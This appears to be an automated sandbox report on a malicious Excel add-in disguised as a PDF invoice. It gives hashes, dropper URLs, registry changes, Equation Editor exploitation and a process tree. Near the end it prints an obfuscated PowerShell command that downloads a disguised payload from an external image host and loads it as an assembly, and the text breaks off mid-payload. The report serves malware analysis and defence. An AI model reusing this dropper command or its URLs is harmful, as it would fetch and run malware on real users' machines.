e0151a7929d3bc048806c5d9df0ccc33565abb97c09f2f7a146167e66c4c0f34

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
20/09/2023, 17:03

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Report Analysis Logs

General

Target

lIDEOC2308-088562.pdf.xlam
Size

665KB
MD5

4518b473032a549e3314714f91dceb57
SHA1

6581a67e6ac2ab58223fa1af01708baa13bad270
SHA256

e0151a7929d3bc048806c5d9df0ccc33565abb97c09f2f7a146167e66c4c0f34
SHA512

fbbd0d2eabd0069b6c37832170cba5a80baea60338782ba70ca2932060f254b62f4384e09068059440f052885c3dadf39a73dd42390efafc86e8d525d522cad1
SSDEEP

12288:ND/h/BaxY0/mEvfszhCgUbYx/v7FkNVKUFgqXBAx2MRg2jCFbXk4Cfo386fIl:H/oeDE3yh2YNSw8K2M2bPyoM6fC

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070

exe.dropper

https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	3068	EQNEDT32.EXE
6	2956	powershell.exe
8	2956	powershell.exe
10	2956	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
3068	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3185155662-718608226-894467740-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1680	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2260	powershell.exe
2956	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1680	EXCEL.EXE
1680	EXCEL.EXE
1680	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2796	3068	EQNEDT32.EXE	29
PID 3068 wrote to memory of 2796	3068	EQNEDT32.EXE	29
PID 3068 wrote to memory of 2796	3068	EQNEDT32.EXE	29
PID 3068 wrote to memory of 2796	3068	EQNEDT32.EXE	29
PID 2796 wrote to memory of 2260	2796	WScript.exe	30
PID 2796 wrote to memory of 2260	2796	WScript.exe	30
PID 2796 wrote to memory of 2260	2796	WScript.exe	30
PID 2796 wrote to memory of 2260	2796	WScript.exe	30
PID 2260 wrote to memory of 2956	2260	powershell.exe	33
PID 2260 wrote to memory of 2956	2260	powershell.exe	33
PID 2260 wrote to memory of 2956	2260	powershell.exe	33
PID 2260 wrote to memory of 2956	2260	powershell.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\lIDEOC2308-088562.pdf.xlam
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1680

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\dloidtuusdayyy.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶1◀▶Dk◀▶Nw◀▶v◀▶DI◀▶Mw◀▶2◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶H◀▶◀▶cgBp◀▶HY◀▶YQBk◀▶GE◀▶LgBq◀▶H◀▶◀▶Zw◀▶/◀▶DE◀▶Ng◀▶5◀▶DM◀▶O◀▶◀▶0◀▶Dc◀▶M◀▶◀▶3◀▶D◀▶◀▶Jw◀▶7◀▶CQ◀▶dwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶TgBl◀▶Hc◀▶LQBP◀▶GI◀▶agBl◀▶GM◀▶d◀▶◀▶g◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶TgBl◀▶HQ◀▶LgBX◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C4◀▶R◀▶Bv◀▶Hc◀▶bgBs◀▶G8◀▶YQBk◀▶EQ◀▶YQB0◀▶GE◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBV◀▶HI◀▶b◀▶◀▶p◀▶Ds◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶EU◀▶bgBj◀▶G8◀▶Z◀▶Bp◀▶G4◀▶ZwBd◀▶Do◀▶OgBV◀▶FQ◀▶Rg◀▶4◀▶C4◀▶RwBl◀▶HQ◀▶UwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBT◀▶FQ◀▶QQBS◀▶FQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶EY◀▶b◀▶Bh◀▶Gc◀▶I◀▶◀▶9◀▶C◀▶◀▶Jw◀▶8◀▶Dw◀▶QgBB◀▶FM◀▶RQ◀▶2◀▶DQ◀▶XwBF◀▶E4◀▶R◀▶◀▶+◀▶D4◀▶Jw◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶KQ◀▶7◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶TwBm◀▶Cg◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶ZQ◀▶g◀▶D◀▶◀▶I◀▶◀▶t◀▶GE◀▶bgBk◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶Gc◀▶d◀▶◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶Cs◀▶PQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶EY◀▶b◀▶Bh◀▶Gc◀▶LgBM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bl◀▶G4◀▶Z◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶t◀▶C◀▶◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶Ds◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBT◀▶HU◀▶YgBz◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶s◀▶C◀▶◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BM◀▶GU◀▶bgBn◀▶HQ◀▶a◀▶◀▶p◀▶Ds◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶QwBv◀▶G4◀▶dgBl◀▶HI◀▶d◀▶Bd◀▶Do◀▶OgBG◀▶HI◀▶bwBt◀▶EI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bi◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BD◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶Ck◀▶Ow◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶g◀▶D0◀▶I◀▶Bb◀▶FM◀▶eQBz◀▶HQ◀▶ZQBt◀▶C4◀▶UgBl◀▶GY◀▶b◀▶Bl◀▶GM◀▶d◀▶Bp◀▶G8◀▶bg◀▶u◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQBd◀▶Do◀▶OgBM◀▶G8◀▶YQBk◀▶Cg◀▶J◀▶Bj◀▶G8◀▶bQBt◀▶GE◀▶bgBk◀▶EI◀▶eQB0◀▶GU◀▶cw◀▶p◀▶Ds◀▶J◀▶B0◀▶Hk◀▶c◀▶Bl◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶b◀▶Bv◀▶GE◀▶Z◀▶Bl◀▶GQ◀▶QQBz◀▶HM◀▶ZQBt◀▶GI◀▶b◀▶B5◀▶C4◀▶RwBl◀▶HQ◀▶V◀▶B5◀▶H◀▶◀▶ZQ◀▶o◀▶Cc◀▶RgBp